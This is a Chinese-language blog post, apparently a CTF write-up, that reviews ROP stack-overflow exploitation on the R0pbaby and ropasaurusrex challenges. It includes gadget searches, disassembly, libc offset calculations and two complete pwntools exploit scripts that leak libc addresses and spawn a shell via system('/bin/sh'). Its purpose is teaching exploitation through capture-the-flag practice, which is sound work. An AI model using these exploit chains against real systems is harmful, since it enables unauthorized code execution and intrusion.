基础栈溢出复习 二 之 ROP

<–more–>

现代栈溢出利用技术基础:ROP

承接上一个篇目,这里继续讲ROP的一些题目分析。讲真的,我这里基本上的题目以及攻击方式都来自于Atum师傅在X-MAN的PPT。

CTF中ROP的常规套路:
  • 第一次触发漏洞,通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)
  • 直接execve(“/bin/sh”, [“/bin/sh”], NULL),通常在静态链接时比较常用
    三个练习:
  • Defcon 2015 Qualifier:R0pbaby
  • AliCTF 2016:vss
  • PlaidCTF 2013: ropasaurusrex
    相关题目我们可以在CTFs上找到。
    Defcon 2015 Qualifier:R0pbaby

我们拿到题目,可以先对题目进行检查,可先看看题目开启的保护

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : disabled

gdb-peda 自带的 checksec 有检测程序是否开启保护,以及所开启的保护。我们可以看到,R0pbaby 所开启的保护有FORTIFY以及NX,这里我们主要所收到的限制是栈上写入的数据不可执行。
以及,程序可以知道是64位的,它的传参优先由寄存器完成。
接着,我们应该了解程序的流程,以及找到程序的漏洞,以及思考其利用方式。

尝试运行程序

我们去尝试运行,摸清了基本上的程序的功能。

  1. 功能1,可以获得libc的基址
  2. 功能2,可以获得函数的地址
  3. 功能3,输入的地方,感觉这个地方可能存在漏洞。

紧接着,我们可以用IDA 分析程序了。

发现一个函数的不适当应用,拷贝的过程中没有判断大小,可能造成缓冲区溢出。


函数原型
void memcpy(voiddest, const void * src, size_t n);
由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。


savedregs是一个IDA关键字,我们可以看到 保存的堆栈帧指针和函数返回地址:在IDA中,我们可以直接单击它。

buf的大小应该是8没错,之后可能造成缓冲区溢出,那么我的解题思路大概是如下:

  1. 我们需要找到一个gadget RDI 用来起shell
  2. 其次我们需要找到 “bin/sh”的地址
  3. 最后,我们需要找到system函数的地址

完成上面三个步骤,我们就可以去构造我们的ROP链来getshell。

如何找到 pop rdi

我们需要找到:

1
2
pop rdi
ret

如此的指令,
我们可以通过简单的objdump来寻找简单的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
wings@sw:~/桌面/Rop$ python ROPgadget.py --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
Gadgets information
0x00000000000206c1 : pop rbp ; pop r12 ; pop r13 ; ret
0x00000000000b5a23 : pop rbp ; pop r12 ; pop r14 ; ret
0x000000000001fb11 : pop rbp ; pop r12 ; ret
0x000000000012bf16 : pop rbp ; pop r13 ; pop r14 ; ret
0x0000000000020252 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x00000000000210fe : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000ccb05 : pop rbp ; pop r14 ; pop rbp ; ret
0x00000000000202e6 : pop rbp ; pop r14 ; ret
0x000000000006d128 : pop rbp ; pop rbp ; ret
0x0000000000048438 : pop rbp ; pop rbx ; ret
0x000000000001f930 : pop rbp ; ret
0x00000000000ccb01 : pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret
0x000000000006d124 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
0x00000000000398c5 : pop rbx ; pop r12 ; pop rbp ; ret
0x00000000000202e1 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x00000000000206c0 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x00000000000b5a22 : pop rbx ; pop rbp ; pop r12 ; pop r14 ; ret
0x000000000001fb10 : pop rbx ; pop rbp ; pop r12 ; ret
0x000000000012bf15 : pop rbx ; pop rbp ; pop r13 ; pop r14 ; ret
0x000000000001f92f : pop rbx ; pop rbp ; ret
0x000000000002a69a : pop rbx ; ret
0x0000000000001b18 : pop rbx ; ret 0x2a63
0x0000000000185240 : pop rbx ; ret 0x6f9
0x000000000013c01f : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x000000000010134b : pop rcx ; pop rbx ; pop rbp ; pop r12 ; ret
0x00000000000e9aba : pop rcx ; pop rbx ; ret
0x0000000000001b17 : pop rcx ; pop rbx ; ret 0x2a63
0x00000000000fc3e2 : pop rcx ; ret
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret

因为是本地测试,所以我先查看自己本地的libc.so.6
确认libc.so.6

1
2
3
4
5
wings@sw:~/桌面/Rop$ ldd r0pbaby
linux-vdso.so.1 => (0x00007ffff7ffd000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7810000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

1
2
wings@sw:~/桌面/Rop$ strings -a -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
18c177 /bin/sh

可以知道 偏移是0x18c177

至于sytem函数,程序的第二个功能已经给我们了,至此,我们可以开始构造我们的exp了.

system = 0x00007FFFF784F390 #get_libc_base()
rdi_gadget_offset = 0x21102
bin_sh_offset = 0x18c177
system_offset = 0x45390

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *


debug =1
if debug ==1:
io = process("./r0pbaby")
else:
io = remote("127.0.0.1",10002)
#db.attach(io)

system = 0x00007FFFF784F390#get_libc_base()
rdi_gadget_offset = 0x21102
bin_sh_offset = 0x18c177
system_offset = 0x45390
libc_base = system - system_offset # system addr - system_offset = libc_base
print "[+] libc base: [%x]" % libc_base
rdi_gadget_addr = libc_base + rdi_gadget_offset
print "[+] RDI gadget addr: [%x]" % rdi_gadget_addr
bin_sh_addr = libc_base + bin_sh_offset
print "[+] \"/bin/sh\" addr: [%x]" % bin_sh_addr
system_addr = 0x00007FFFF784F390#get_libc_func_addr(h, "system")
print "[+] system addr: [%x]" % system_addr

payload = "A"*8
payload += p64(rdi_gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(system_addr)

io.recv(1024)
io.sendline("3")
io.recv(1024)
io.send("%d\n"%(len(payload)+1))
io.sendline(payload)
io.sendline("4")

io.interactive()


至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~

PlaidCTF 2013: ropasaurusrex

上一个程序简单的调用 system + “bin/sh” 通过寄存器 gadget “pop rdi;ret “传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。

依旧是老三套,我们先分析一下程序开启的保护。

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled

只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。

1
2
3
4
5
int __cdecl main()
{
sub_80483F4();
return write(1, "WIN\n", 4u);
}

sub_80483F4

1
2
3
4
5
6
ssize_t sub_80483F4()
{
char buf; // [sp+10h] [bp-88h]@1

return read(0, &buf, 0x100u);
}

很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n。紧接着,我们可以看到read函数被错误使用,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:080483F2 ; ---------------------------------------------------------------------------
.text:080483F3 align 4
.text:080483F4
.text:080483F4 ; =============== S U B R O U T I N E =======================================
.text:080483F4
.text:080483F4 ; Attributes: bp-based frame
.text:080483F4
.text:080483F4 sub_80483F4 proc near ; CODE XREF: main+9p
.text:080483F4
.text:080483F4 buf = byte ptr -88h
.text:080483F4
.text:080483F4 push ebp
.text:080483F5 mov ebp, esp
.text:080483F7 sub esp, 98h
.text:080483FD mov dword ptr [esp+8], 100h ; nbytes
.text:08048405 lea eax, [ebp+buf]
.text:0804840B mov [esp+4], eax ; buf
.text:0804840F mov dword ptr [esp], 0 ; fd
.text:08048416 call _read
.text:0804841B leave
.text:0804841C retn
.text:0804841C sub_80483F4 endp
.text:0804841C
.text:0804841

buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。

1
2
wings@sw:~/桌面/Rop$ file ./ropasaurusrex
./ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped

我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。
在main函数中有一个write函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:

  1. 构造payload leak 内存中的一个函数地址,比如 read()
  2. 计算libc base
  3. 构造payload get shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
debug = 1
elf = ELF('./ropasaurusrex')
if debug == 1:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

bof = 0x80483f4 # the vulnerable function
buffer_len = 0x88

context.log_level = 'debug'
#p = remote(args.host, args.port)
#p = process('./ropasaurusrex')
p = remote('127.0.0.1',10002)
payload = ''
payload += 'A' * buffer_len
payload += 'AAAA' # saved ebp
payload += p32(elf.symbols['write'])
payload += p32(bof)
payload += p32(1) # stdout
payload += p32(elf.got['read'])
payload += p32(4) # len
p.send(payload)
resp = p.recvn(4)
read = u32(resp)
libc_base = read - libc.symbols['read']

payload = ''
payload += 'A' * buffer_len
payload += 'AAAA' # saved ebp
payload += p32(libc_base + libc.symbols['system'])
payload += 'AAAA' # cont
payload += p32(libc_base + next(libc.search('/bin/sh')))
p.send(payload)

p.sendline('ls')
p.interactive()

小结一下:
read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

上面的内容来自蒸米 -一步一步 rop

做了两个简单的rop 第一个的64位,第二个是32位,基本上 也能体会到两者的区别了,一者是寄存器传参,一者是栈传参。至于AliCTF的vsvs ,我没找到Bin程序,所以这里就不单独分析了。我们看看别人的wp,例如链接https://segmentfault.com/a/1190000005718685

下一个内容准备学习 VROP,一种利用signal机制的ROP技术。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 现代栈溢出利用技术基础:ROP
    1. 1.1. CTF中ROP的常规套路:
    2. 1.2. Defcon 2015 Qualifier:R0pbaby
    3. 1.3. 如何找到 pop rdi
    4. 1.4. PlaidCTF 2013: ropasaurusrex
  • 上面的内容来自蒸米 -一步一步 rop
  • ,